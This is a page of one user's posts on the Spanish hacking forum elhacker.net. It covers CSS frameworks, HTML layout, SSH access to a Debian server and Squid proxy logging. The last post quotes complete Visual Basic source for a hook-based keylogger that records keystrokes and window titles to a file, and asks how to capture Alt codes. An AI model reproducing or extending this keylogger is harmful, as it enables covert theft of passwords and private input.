elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


  Mostrar Mensajes
Páginas: 1 [2] 3 4 5 6 7 8 9 10 11
11  Programación / Desarrollo Web / Re: ayuda con diseño html en: 31 Enero 2012, 00:35 am
es verdad lo q comentas mi querido amigo @drvy | BSM... pero si x ejem los de M$ hubieran pensado en quedarse con esas ideas no tendriamos el Visual Studio ni el AjaxControlToolkit y tantas otras cosas mas...

1. Requieren que te aprendas su propio sintaxis. Que aunque no sea muy difícil es una chorrada total.

en la vida del programador. saber un solo lenguaje no lo es todo (cada lenguaje tiene su propia sintaxis, unas mas complejas q otras)

2.Puede traerte problemas por usar nombres comunes.

cada lenguaje tiene sus "keywords"

3. La mayor parte de ese framework nunca vera la luz. Vamos, que incorpora tantas funciones, que, seguramente la mayoria de ellas nunca serán utilizadas. Y la putada del css, es que el visitante se tiene que bajar todo el framework... vamos inútil.

vamos hombre! y que me dices de JQuery? o el JqueryUI? o del mismo WordPress?O a caso no los debemos utilizar xq no usamos al 100% todas sus funcionalidades??  Con el tiempo se aprende (como todo en esta vida) a utilizar solo lo esencial dejando de lado lo otro... cuestion de investigar y ponerle ganas. Incluso cada uno en el mejor de los casos hace su propia libreria (con lo escencial) en base a otras ya existentes

4. Dejas de aprender lo que es css para aprender lo que es framework css.....

para querer multiplicar... acaso no se aprende primero a sumar?? y una vez aprendido a multiplicar te olvidas de sumar?? T imaginas hacer un blog desde 0 sin ayuda del WP?? O por utilizar WP vamos a dejar de aprender php??

Comparto tus ideas y un dia tb las tuve pero en estos dias el tiempo de entrega de los proyectos es vital para los clientes (cuando trabajas para una empresa de TI o de freelance), a ellos no les interesa q hayas utilizado un framework o no Lo q ellos desean es el producto entregado, funcionando al 100% y si es posible para ayer

Las herramientas (no solo en el mundo de la programacion) se hacen para eso, para ahorrar tiempo y esfuerzo. Depende de cada uno cuales utiliza y como las utiliza pero siempre es bueno saber de todas las opciones q disponemos para poder simplificarnos la vida


un abrazo  ;)
12  Programación / Desarrollo Web / Re: ayuda con diseño html en: 30 Enero 2012, 23:55 pm
a mi en lo personal no me gusta "jugar" con los anchos o altos de algunos divs en las paginas poniendoles anchos (%,px,etc) hasta q encuadren xq tarde o temprano algo nos hace q ese ancho( q hasta ahora funcionaba) se tenga q volver a acomodar hasta regularlo nuevamente; por eso la recomendacion de utilizar frameworksCSS para la maquetacion... tomalo como buen consejo, veras lo facil y practico q es y te servira para tus futuros trabajos, ahorrandote mucho tiempo y dolores de cabeza en cosas como este  ::)

bueno viendo el codigo de la pagina q colgaste hice algunos cambios.

1. modifique algo del css

Código:
p{margin:0 10px 10px;text-align:justify;}

.not_portada2 {
 float: left;
 width: 45%;
 /*border:1px solid red;*/
 padding: 0px 15px 0px 15px;
}

2. modifique y agrege algo de code en el html

Código:
<div class="not_portada2">
          <div class="titulo2">
            <p>Este va a ser el titulo de la noticia 2 </p>
          </div>
          <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam vitae rutrum nisi. Curabitur quis erat libero, eu euismod ligula. Quisque malesuada mauris sed arcu placerat sed consectetur nisi luctus. Mauris ac lorem quam, ac dictum nunc. Nullam eu purus et leo rutrum hendrerit vel et diam. Pellentesque scelerisque, metus at blandit pharetra, turpis leo sagittis dolor, id malesuada est quam eget neque. Proin ante turpis, hendrerit id mattis ac, aliquet sed felis. Praesent vestibulum, nulla ut interdum ultricies, nisl felis fringilla magna, tristique porta odio nunc vitae tellus. Mauris quis tellus tellus, id euismod nisl. Nam accumsan lacus at massa mollis eu fringilla purus vulputate. Nulla posuere augue arcu, nec pellentesque libero. Donec auctor ligula sed lectus vehicula elementum. Etiam volutpat porta nibh, ut tempus felis bibendum id. Pellentesque condimentum congue urna quis consequat.
            
            Maecenas scelerisque, felis et dapibus lobortis, neque orci cursus sapien, et sagittis dui ipsum non sapien. Phasellus varius sem sit amet mauris accumsan lacinia. Proin id porttitor lectus. Duis vehicula nisl accumsan justo varius tristique. Praesent venenatis nulla vel dui fringilla nec lacinia nisi ultrices. Etiam a mi nec felis scelerisque tempor. Phasellus semper, metus vel cursus ullamcorper, arcu nunc placerat nulla, vitae placerat justo felis in purus. Pellentesque aliquet congue sapien et elementum. Nullam pellentesque metus et ante dignissim nec feugiat velit rutrum. Suspendisse pulvinar gravida nisl, eu sollicitudin ligula fringilla non. Pellentesque porta scelerisque metus vel ultrices. Donec fringilla ullamcorper est. Vivamus fringilla ullamcorper elit, eu consequat risus bibendum quis. Suspendisse id dui et sem congue pellentesque.
            
            Aliquam rhoncus lectus quis augue pellentesque consectetur. Sed dignissim mi faucibus elit consectetur pharetra. Proin tincidunt condimentum hendrerit. Nam nec mi elementum sem facilisis ultrices eu vitae mauris. Nunc aliquam mattis elementum. Cras vel pharetra erat. Sed blandit felis sed ipsum scelerisque auctor. </p>
        </div>
        <div class="not_portada2">
          <div class="titulo2">
            <p>Y este sera el titulo de la noticia 3</p>
          </div>
          <p>Integer non sem sapien, eu elementum felis. Pellentesque quis mollis nibh. Vestibulum in auctor nibh. Aenean eu diam eu ante dictum suscipit vel eget magna. Etiam eu dui in magna laoreet elementum. Quisque urna risus, malesuada et eleifend ut, dapibus eget magna. Nullam rutrum ultricies sapien vel posuere. Pellentesque interdum mattis tempus. Nunc metus lectus, blandit sed malesuada nec, adipiscing eu diam. Fusce commodo enim nec leo faucibus mattis. Quisque aliquam, turpis id porttitor fringilla, massa turpis feugiat massa, eu vulputate odio nisl ac elit. Aenean id magna arcu, quis ullamcorper magna.
            
            Vivamus ornare feugiat dui, nec auctor tortor congue eu. Sed faucibus mollis libero, vel tincidunt nisl condimentum aliquet. Maecenas in augue augue. Mauris eu orci nulla. Cras fermentum rhoncus erat, vel viverra purus mollis congue. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque scelerisque, nulla ut fermentum volutpat, urna lorem tempus diam, sit amet auctor nisl ipsum et tellus. Sed porttitor sapien bibendum sapien dictum porta. Nam nec augue vitae justo venenatis volutpat. Maecenas aliquet, lorem vitae feugiat placerat, nisl orci convallis arcu, ac cursus diam felis quis augue. Proin iaculis dignissim egestas. Ut dignissim lorem vel enim luctus eu pulvinar massa euismod. Suspendisse purus urna, scelerisque ut posuere id, consequat quis dolor. Integer non nisl metus. Maecenas nunc sapien, viverra sed suscipit et, varius quis lorem. </p>
        </div>
        <div style="clear:both"></div>

3. en el ejemplo q pusiste no existen palabras tan grandes al menos en castellano  :P (entiendase palabra com una sucesion de letras continuas sin espacio en blanco). Recuerda q los espacios en blanco limitan los textos dentro de un <p>

Como veras puse un texto grande (lorem ipsum) a cada noticia y encaja a la perfeccion.

Te dejo una imagen para q veas el resultado



13  Programación / Desarrollo Web / Re: ayuda con diseño html en: 30 Enero 2012, 23:05 pm
Hola,

De acuerdo con Shell Root, pero...

has intentado probar con un frameworkCSS para maquetar?? Podrias intentar con grid960 o con blueprint, ambos muy facil de aprender, configurar y adaptar a tus necesidades  ::). Cualquier duda nos haces saber  ;)

salu2
14  Comunicaciones / Redes / Re: conexion remota al server en: 17 Agosto 2011, 05:44 am
En el taller de este subforo hay un tutorial donde se explica eso:

Instalación y Configuración de SSH (OpenSSH) en GNU/Linux (modo consola)

Resumiendo, en el archivo de configuración del SSH tiene que salirte si el root está permitido, ¿has probado ya si puedes acceder como otro usuario?



he probado con otro usuario y ademas verifique lo del root en el archivo .conf  ... pero aun sigo sin poder conectarme :(

Solo puedo conectarme al proxy

... no se debera a la configuracion fisica de la red?

internet -> router -> proxy -> switch <- server
15  Comunicaciones / Redes / Re: conexion remota al server en: 23 Julio 2011, 20:57 pm

exactamente como y donde podria ver esos permisos de logeo?? y si estuviesen denegados ... como los habilito??

Me olvidaba ... la configuacion fisica es la sgte.

internet -> router -> proxy -> switch <- server
16  Comunicaciones / Redes / Re: conexion remota al server en: 23 Julio 2011, 06:27 am
He podido ingresar al proxy remotamente desde la portatil con WinSCP pero no he podido entrar al server   :(  .Actualmente cuento con un dominio por lo cual pude obtener la IP para logearme

Al tratar de logearme me sale este mensaje



Alguna configuracion adicional q le tenga q hacer al SSH ?? O se debe a otra cosa??

Si he podido entrar al proxy, problema de puertos no creo q sea.
17  Comunicaciones / Redes / conexion remota al server en: 22 Julio 2011, 16:13 pm

Holas!

Tengo un problema


He implementado un server y un proxy (ambos con debian) para una pequeña red. La cuestion es q estare de viaje y tengo q subir algunos archivos q tengo q actualizar en el server Actualmente de manera local lo hago con WinSCP ...Como puedo conectarme a mi server desde internet para poder hacer actualizaciones desde otro lugar q no sea una PC local??

Las actualizaciones las haria desde una laptop con Win7 ... Podria hacerlo tb con WinSCP??   :rolleyes:

gracias
18  Comunicaciones / Redes / Re: dudas con debian en proxy en: 22 Julio 2011, 16:00 pm

Muchas gracias! La info esta muy buena  ::)

... tambien estuve averiguando sobre SARG y parece ser otra alternativa util, hasta donde lo estoy viendo


Salu2
19  Comunicaciones / Redes / dudas con debian en proxy en: 21 Julio 2011, 16:21 pm

Hola gente!  ::)

Tengo unas dudas He levantado un proxy con debian con su respectivo squid y toda la cosa para lo q es seguridad y  todo bien hasta ahi  :D

... mi duda es si es q existe algun servicio para:

1. Ver el historial de todas las paginas visitadas (diaria,semanal y mensualmente) de cada IP de mi red
2. Ver (en tiempo real) si es q alguna IP esta descargando algo, de donde lo esta descargando, a q velocidad, etc

cualquier info q me puedan brindar por favor  :rolleyes:


gracias
20  Programación / Programación Visual Basic / Problemas con un Keylogger con HOOK en: 5 Agosto 2010, 22:37 pm

Holas gente

Buscando por el foro y encontre un code muy interesante elaborado por Karcrack  para poder construir un keylogger con hook y no con timer :) 

Pero el problema es q lo estuve probando y  no guarda las combinaciones con la tecla Alt para los codigos ascii (ni siquiera cnd esta se presiona sola)

Por ejem:

Si presiono Alt+64= @,
Alt+93= ], Alt+36= $ ... etc, etc  ... No las guarda en el log

Caso contrario con el shift q combinada con otra tecla, si la guarda correctamente

A q se debe esto?? Como podria arreglarlo??

Este es el code

Código:
Option Explicit
 
'|||||||||||||||||||||||
'|                     |
'|Autor: Karcrack      |
'|Fecha: 24/09/08      |
'|                     |
'|||||||||||||||||||||||
 
 
Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByRef lParam As Any) As Long
Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
Private Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer
Private Const WH_KEYBOARD_LL   As Long = 13
 
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
 
Public Type KBDLLHOOKSTRUCT
    VkCode                  As Long
    ScanCode                As Long
    Flags                   As Long
    Time                    As Long
    DwExtraInfo             As Long
End Type
 
Dim KBHook                  As Long
Dim KeyData                 As String
Dim lHwnd                   As Long
 
Public Sub ManageKeylogger(ByVal Enable As Boolean)
    Select Case Enable
        Case True
            KBHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0)
        Case False
            Call UnhookWindowsHookEx(KBHook)
    End Select
End Sub
 
Public Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
    Dim KeyBoardHook        As KBDLLHOOKSTRUCT
 
    If nCode = 0 Then
        CopyMemory KeyBoardHook, lParam, Len(KeyBoardHook)
        With KeyBoardHook
            If .Flags = 0 Or .Flags = 1 Then
                If SaveLog(TranslateKey(.VkCode)) > 50 Then
                    Call LogToFile(App.Path & "\Log.log")
                End If
            End If
        End With
    Else
        KBProc = CallNextHookEx(KBHook, nCode, wParam, lParam)
    End If
End Function
 
Private Function TranslateKey(ByVal KeyCode As Long) As String
    Dim LngShift            As Long
 
    'Funcion optimizada para su uso en teclados españoles.
 
    LngShift = GetAsyncKeyState(vbKeyShift)
    If KeyCode >= 58 And KeyCode <= 90 Then
        TranslateKey = IIf(LngShift <> 0, UCase(Chr(KeyCode)), LCase(Chr(KeyCode)))
    ElseIf KeyCode >= 96 And KeyCode <= 105 Then
        TranslateKey = Chr(KeyCode - 48)
    ElseIf KeyCode >= 112 And KeyCode <= 123 Then
        TranslateKey = "{F" & KeyCode - 111 & "}"
    Else
        If KeyCode = 160 Then TranslateKey = ""
        If KeyCode = 161 Then TranslateKey = "{SHIFT DER.}"
        If KeyCode = 38 Then TranslateKey = "{FLECHA ARRIBA}"
        If KeyCode = 40 Then TranslateKey = "{FLECHA ABAJO}"
        If KeyCode = 37 Then TranslateKey = "{FLECHA IZQ.}"
        If KeyCode = 39 Then TranslateKey = "{FLECHA DER.}"
        If KeyCode = 32 Then TranslateKey = "{ESPACIO}"
        If KeyCode = 27 Then TranslateKey = "{ESC}"
        If KeyCode = 46 Then TranslateKey = "{DEL}"
        If KeyCode = 36 Then TranslateKey = "{HOME}"
        If KeyCode = 35 Then TranslateKey = "{END}"
        If KeyCode = 33 Then TranslateKey = "{PAGE UP}"
        If KeyCode = 34 Then TranslateKey = "{PAGE DOWN}"
        If KeyCode = 45 Then TranslateKey = "{PASTE}"
        If KeyCode = 144 Then TranslateKey = "{NUM}"
        If KeyCode = 111 Then TranslateKey = "{NUMPAD / }"
        If KeyCode = 106 Then TranslateKey = "{NUMPAD * }"
        If KeyCode = 109 Then TranslateKey = "{NUMPAD - }"
        If KeyCode = 107 Then TranslateKey = "{NUMPAD + }"
        If KeyCode = 13 Then TranslateKey = "{ENTER}"
        If KeyCode = 8 Then TranslateKey = "{BACK}"
        If KeyCode = 221 Then TranslateKey = "{ACCENTO}"
        If KeyCode = 9 Then TranslateKey = "{TAB}"
        If KeyCode = 20 Then TranslateKey = "{BLOQ. MAYUS}"
        If KeyCode = 162 Then TranslateKey = "{STRG LEFT}"
        If KeyCode = 163 Then TranslateKey = "{STRG DER.}"
        If KeyCode = 91 Then TranslateKey = "{WINDOWS}"
        If KeyCode = 164 Then TranslateKey = "{ALT}"
        If KeyCode = 165 Then TranslateKey = "{ALTGR}"
        If KeyCode = 93 Then TranslateKey = "{MENU CONTEXTUAL}"
        If KeyCode = 188 Then TranslateKey = IIf(LngShift <> 0, ";", ",")
        If KeyCode = 190 Then TranslateKey = IIf(LngShift <> 0, ":", ".")
        If KeyCode = 189 Then TranslateKey = IIf(LngShift <> 0, "_", "-")
        If KeyCode = 191 Then TranslateKey = IIf(LngShift <> 0, "'", "#")
        If KeyCode = 187 Then TranslateKey = IIf(LngShift <> 0, "*", "+")
        If KeyCode = 186 Then TranslateKey = IIf(LngShift <> 0, "Ü", "ü")
        If KeyCode = 192 Then TranslateKey = IIf(LngShift <> 0, "Ö", "ö")
        If KeyCode = 222 Then TranslateKey = IIf(LngShift <> 0, "Ä", "ä")
        If KeyCode = 219 Then TranslateKey = IIf(LngShift <> 0, "?", "ß")
        If KeyCode = 220 Then TranslateKey = IIf(LngShift <> 0, "°", "^")
        If KeyCode = 48 Then TranslateKey = IIf(LngShift <> 0, "=", "0")
        If KeyCode = 49 Then TranslateKey = IIf(LngShift <> 0, "!", "1")
        If KeyCode = 50 Then TranslateKey = IIf(LngShift <> 0, """", "2")
        If KeyCode = 51 Then TranslateKey = IIf(LngShift <> 0, "§", "3")
        If KeyCode = 52 Then TranslateKey = IIf(LngShift <> 0, "$", "4")
        If KeyCode = 53 Then TranslateKey = IIf(LngShift <> 0, "%", "5")
        If KeyCode = 54 Then TranslateKey = IIf(LngShift <> 0, "&", "6")
        If KeyCode = 55 Then TranslateKey = IIf(LngShift <> 0, "/", "7")
        If KeyCode = 56 Then TranslateKey = IIf(LngShift <> 0, "(", "8")
        If KeyCode = 57 Then TranslateKey = IIf(LngShift <> 0, ")", "9")
        If KeyCode = 145 Then TranslateKey = "{ROLL}"
        If KeyCode = 44 Then TranslateKey = "{PRINT}"
        If KeyCode = 19 Then TranslateKey = "{PAUSE}"
        If TranslateKey = "" And KeyCode <> 160 Then TranslateKey = KeyCode
    End If
End Function
 
Public Function SaveLog(ByVal sKey As String) As Double
    Dim aHwnd               As Long
    Dim WinText             As String
    aHwnd = GetForegroundWindow
 
    If aHwnd <> lHwnd Then
        lHwnd = aHwnd
        WinText = String$(255, Chr$(0))
        Call GetWindowText(aHwnd, WinText, Len(WinText))
        WinText = Left$(WinText, InStr(WinText, Chr$(0)) - 1)
 
        KeyData = KeyData & vbCrLf & "{" & WinText & "} - [" & Now() & "]" & vbCrLf
    End If
 
    KeyData = KeyData & sKey
 
    SaveLog = Len(KeyData)
End Function
 
Public Sub LogToFile(ByVal sPath As String)
    Open sPath For Binary As #1
        Put #1, , KeyData
    Close #1
End Sub


Gracias por todo

Páginas: 1 [2] 3 4 5 6 7 8 9 10 11
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines